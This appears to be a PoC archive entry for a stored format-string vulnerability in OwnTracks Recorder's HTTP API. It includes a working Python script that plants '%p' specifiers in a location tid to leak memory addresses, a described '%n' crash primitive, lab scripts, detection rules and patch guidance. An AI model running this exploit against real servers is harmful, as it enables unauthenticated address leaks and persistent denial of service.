PoC Archive PoC Archive
CVE-2026-131852 category: web CVSS 9.8 (CRITICAL)
Patched

OwnTracks Recorder — Stored Format String in json_response() via Location tid (CVE-2026-131852)

Published: 2026-11-25 • Researcher: googlesky (Lê Hiếu) — PoC/lab; VulnCheck (disclosure); OwnTracks (vendor)

Target software OwnTracks Recorder (ot-recorder) — JSON HTTP API in http.c with the bundled Mongoose library
Affected versions All versions before 1.0.5 (NVD range: 0 to < 1.0.5, semver)
Status PoC
Severity Critical · CVSS 9.8
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-18
Author / Researchergooglesky (Lê Hiếu) — PoC/lab; VulnCheck (disclosure); OwnTracks (vendor)
CVE / AdvisoryCVE-2026-131852
Categoryweb
SeverityCritical
CVSS Score9.8 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.3 CVSSv4.0)
StatusPoC
Tagsformat-string, CWE-134, OwnTracks, unauthenticated, stored-input, info-leak, ASLR-bypass, DoS, MQTT, HTTP-API
RelatedN/A

Affected Target

FieldValue
Software / SystemOwnTracks Recorder (ot-recorder) — JSON HTTP API in http.c with the bundled Mongoose library
Versions AffectedAll versions before 1.0.5 (NVD range: 0 to < 1.0.5, semver)
Language / PlatformC; Linux (Debian packages), standalone daemon with HTTP API and MQTT input
Authentication RequiredNo
Network Access RequiredYes

Summary

OwnTracks Recorder before 1.0.5 stores attacker-supplied location data and later re-emits it through a printf-style format string. The JSON response helper in http.c passes the serialized JSON, which includes the attacker-controlled tracker ID, directly as the format argument of the bundled Mongoose output call, so printf specifiers are expanded when the stored record is read back. An unauthenticated attacker can publish a location through POST /pub over HTTP or over MQTT and then read it through GET /api/0/last: pointer specifiers leak live stack and library addresses, defeating ASLR, while write specifiers crash the daemon and, as this lab measured, corrupt the storage into a restart crash loop.

Vulnerability Details

Root Cause

json_response() in http.c serializes the stored record with json_stringify() and then hands the resulting string to Mongoose as a format string:

C source
1
2
3
4
// http.c @ 1.0.4, json_response()
char *js = json_stringify(json, ...);
...
mg_printf_data(conn, js);          // js (attacker data) used as FORMAT

mg_printf_data() forwards its argument to vsnprintf(), so any % specifier present in user data is interpreted. The location tid (tracker ID) is the cleanest carrier because it is stored verbatim by the publish path and echoed verbatim by /api/0/last. The vendor fix in 1.0.5 (commit 64a86050a1ac6cb5f704e296ec9182f750d143c8) passes it as data — mg_printf_data(conn, "%s", js) — and hardens the sibling sinks emit_xml_line, emit_csv_line, send_status, plus an ns_avprintf 8192-byte truncation bug (> changed to >=).

Attack Vector

Unauthenticated network access to the Recorder HTTP API (default port 8083), or MQTT publish access to the broker that feeds the Recorder. The attacker publishes a location with tid: "%p.%p.%p" (leak) or tid: "%n.%n..." (write/crash) via POST /pub?u=<user>&d=<device>, then issues GET /api/0/last. The value is persisted by the filesystem backend, so one publish poisons every later read. The ?format=xml and ?format=csv read variants traverse the sibling sinks closed by the same patch.

Impact

  • Address-space disclosure / ASLR defeat: %p expands to live heap, binary and libc pointers in the HTTP response, which is the pre-step of a full exploit chain.
  • Memory write: %n writes through pointers popped from the stack, crashing the daemon with SIGSEGV (observed rc=139) or enabling a controlled write with a shaped stack.
  • Persistent denial of service: the lab observed that the storage written through the corrupted in-memory state is poisoned, so every subsequent startup crash-loops until the store is cleared. A single unauthenticated publish can knock an instance out permanently.
  • NVD rates the issue as potential code execution (C:H/I:H/A:H); the archived PoC stops at the leak and crash primitives and does not ship a complete RCE chain.

Environment / Lab Setup

Output
OS:          Linux x86_64, Podman (or Docker); containers on an isolated
             cve131852lab network
Target:      ot-recorder built from upstream tag 1.0.4 (vulnerable) and
             upstream tag 1.0.5 (vendor fix), Debian trixie slim runtime,
             filesystem storage, MQTT disabled, HTTP API on port 8083,
             supervised with restart + /work/crash.log
Attacker:    Python 3.12 (stdlib only) inside the poc container, or any
             host with network reachability to the API
Tools:       Podman/Docker, Python 3, curl

Setup Steps

Shell script
1
2
3
4
5
6
7
./run-lab.sh build

./run-lab.sh up

./run-lab.sh sweep

./run-lab.sh down

The build needs outbound HTTPS at image build time (GitHub for the recorder tags, Debian mirrors). The probe mode intentionally corrupts the vulnerable container’s storage, so recreate the container before re-running it.

Proof of Concept

Step-by-Step Reproduction

  1. Build and start the differential lab — ./run-lab.sh build && ./run-lab.sh up produces otr-vuln (1.0.4) and otr-fixed (1.0.5) on the cve131852lab network.
  2. Confirm persistence with a benign tid — publish a location with a normal tid, then poll GET /api/0/last until the value is visible (the filesystem backend lands writes asynchronously).
  3. Publish the format string — send a location whose tid contains %p specifiers to POST /pub?u=alice&d=phone.
  4. Read it back — GET /api/0/last; on 1.0.4 the stored tid is expanded and pointer-shaped hex appears in the JSON response. On 1.0.5 the specifiers are echoed literally.
  5. Trigger the write primitive (optional, destructive) — publish a tid built from %n and observe the daemon exit with rc=139 in /work/crash.log and the subsequent crash loop.
  6. Verify with the standalone exploit — python3 exploit/exploit.py --host=<target> --port=8083 exits 1 when pointers are leaked, 0 on a fixed target.

Exploit Code

See exploit/exploit.py (standalone full-chain leak) and poc/poc.py (check / exploit / probe / mitigation modes). The lab definition is in lab/lab.Dockerfile and run-lab.sh; upstream write-up in upstream-README.md.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import http.client, json, re, time

HOST, PORT = "target", 8083
PTR = re.compile(r"0x[0-9a-f]{6,}")

body = json.dumps({"_type": "location", "lat": 52.52, "lon": 13.40,
                   "tid": "x.%p.%p.%p.%p.%p", "tst": int(time.time()), "acc": 10})
conn = http.client.HTTPConnection(HOST, PORT, timeout=20)
conn.request("POST", "/pub?u=alice&d=phone", body=body,
             headers={"Content-Type": "application/json"})
print("publish:", conn.getresponse().status)
conn.close()

time.sleep(1)
conn = http.client.HTTPConnection(HOST, PORT, timeout=20)
conn.request("GET", "/api/0/last")
text = conn.getresponse().read().decode()
conn.close()
print("leaked pointers:", PTR.findall(text)[:5])

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
[*] stage 1 — publish a location whose tid is a format string
[*] stage 2 — read it back through GET /api/0/last
[+] leaked stack pointers:
    0x55762c6cf440
    0x55762c6cf6b0
    0x7f7d1486dac0
    0x7fff00363732
[+] RESULT: unauthenticated stored format string — ASLR defeat via '%p';

  case                     code   observation
  benign tid               200    literal
  %p tid                   200    leak: 0x5649c4b8abe0
  %n crash primitive       -      daemon crashed (no recovery)

[*] stored '%%p' tid -> response 286 bytes
[*] no pointer expansion — tid echoed literally (fixed)

Detection & Indicators of Compromise

  • HTTP requests to /pub (or MQTT location publishes) whose tid, addr or ssid contains printf specifiers such as %p, %x, %s, %n, or long %<n>c sequences.
  • Responses from /api/0/last (and ?format=xml|csv) containing pointer-shaped hex that was never sent by a legitimate device.
  • Recorder process exits with rc=139 (SIGSEGV) recorded by the service supervisor or systemd; repeated restarts with the same exit code and a store that keeps crashing on startup.
  • Core dumps from ot-recorder inside vsnprintf / mg_printf_data / json_response, or http.c frames on the crash stack.
  • Unusual write rates to the recorder store keyed by a single user/device with sequential tst values, typical of an automated probe.

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"OwnTracks Recorder stored format string via tid"; \
  content:"%p"; http_client_body; \
  content:"/pub"; http_uri; sid:9002611;)

Remediation

ActionDetail
PatchUpgrade OwnTracks Recorder to 1.0.5 or later (vendor commit 64a86050a1ac6cb5f704e296ec9182f750d143c8, PR #589). The fix passes the serialized JSON as data ("%s") and hardens the xml, csv and status sinks.
WorkaroundUntil upgrading, restrict /pub and the read API to trusted networks or put them behind an authenticating reverse proxy; disable anonymous MQTT publish into the Recorder; clear a poisoned store after a crash to break the restart loop.
Config HardeningBind the HTTP API to localhost or an internal interface (--http-host), firewall port 8083, require MQTT credentials/ACLs, run under a supervisor with restart limits, and monitor exit codes and store integrity.

References

Notes

Auto-ingested from https://github.com/googlesky/CVE-2026-131852 on 2026-11-25.

Review verdict: genuine exploit-grade PoC, not a detector. It publishes a stored tid carrying printf specifiers and reads it back to obtain real pointer leaks, and it observes the %n write primitive as a daemon SIGSEGV under a supervisor. It does not build a full controlled-write or code-execution chain, so Status is PoC rather than Weaponized; the ASLR leak plus crash are confirmed in the captured evidence.

License: MIT (Copyright (c) 2026 Lê Hiếu), archived with the LICENSE file and attribution. Copied files are the exploit scripts, lab build/run files, Makefile and six captured evidence runs. Excluded: .git, the gitignored *.log files (including evidence/probe-vuln-crash.log referenced by the upstream README), and TRACKING.md (not published upstream).

Limitations: the lab builds with WITH_MQTT=no, so the MQTT publish path described in the CVE is not exercised by the archived PoC, although it shares the same json_response() sink. Probe mode is destructive by design — it corrupts the vulnerable container’s store and induces a crash loop, so only run it against disposable instances. The differential results (leak on 1.0.4, literal echo on 1.0.5) are the upstream author’s captured runs; the code was not executed while archiving. Run only against systems you own or have written authorization to test.

run-lab.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env bash
# Archived for authorized security research only.
# Source: https://github.com/googlesky/CVE-2026-131852 (see README for attribution/license)
# Environment driver for the CVE-2026-131852 lab.
set -euo pipefail
NET="cve131852lab"
HERE="$(cd "$(dirname "$0")" && pwd)"
build() {
    sudo -n podman build -q -f "$HERE/lab/lab.Dockerfile" --build-arg RECORDER_REF=1.0.4 -t cve-2026-131852:vuln "$HERE/lab" >/dev/null
    sudo -n podman build -q -f "$HERE/lab/lab.Dockerfile" --build-arg RECORDER_REF=1.0.5 -t cve-2026-131852:fixed "$HERE/lab" >/dev/null
    sudo -n podman build -q -t cve-2026-131852-poc:local "$HERE/poc" >/dev/null
}
up() {
    sudo -n podman network create "$NET" 2>/dev/null || true
    sudo -n podman run -d --name otr-vuln --network "$NET" --cpus 2 --memory 1g cve-2026-131852:vuln >/dev/null
    sudo -n podman run -d --name otr-fixed --network "$NET" --cpus 2 --memory 1g cve-2026-131852:fixed >/dev/null
}
fresh() { # recreate one side's container for a clean storage state
    sudo -n podman rm -f "otr-$1" >/dev/null 2>&1 || true
    sudo -n podman run -d --name "otr-$1" --network "$NET" --cpus 2 --memory 1g \
        "cve-2026-131852:$1" >/dev/null
    sleep 5
}
sweep() {
    sudo -n podman network create "$NET" 2>/dev/null || true
    for mode in check exploit probe mitigation; do
        for side in vuln fixed; do
            fresh "$side"
            echo "================ $mode / otr-$side ================"
            set +e
            sudo -n podman run --rm --network "$NET" --cpus 1 --memory 256m \
                cve-2026-131852-poc:local "$mode" "--host=otr-$side" \
                | tee "$HERE/evidence/${mode}-${side}-run.txt"
            echo "exit: $?"
            set -e
            if [ "$mode" = "probe" ] && [ "$side" = "vuln" ]; then
                sudo -n podman cp "otr-$side":/work/crash.log \
                    "$HERE/evidence/probe-vuln-crash.log" 2>/dev/null || true
            fi
        done
    done
}
down() {
    sudo -n podman rm -f otr-vuln otr-fixed 2>/dev/null || true
    sudo -n podman network rm "$NET" 2>/dev/null || true
}
case "${1:-}" in
    build) build ;; up) up ;; sweep) mkdir -p "$HERE/evidence"; sweep ;; down) down ;;
    *) echo "usage: $0 build|up|sweep|down"; exit 2 ;;
esac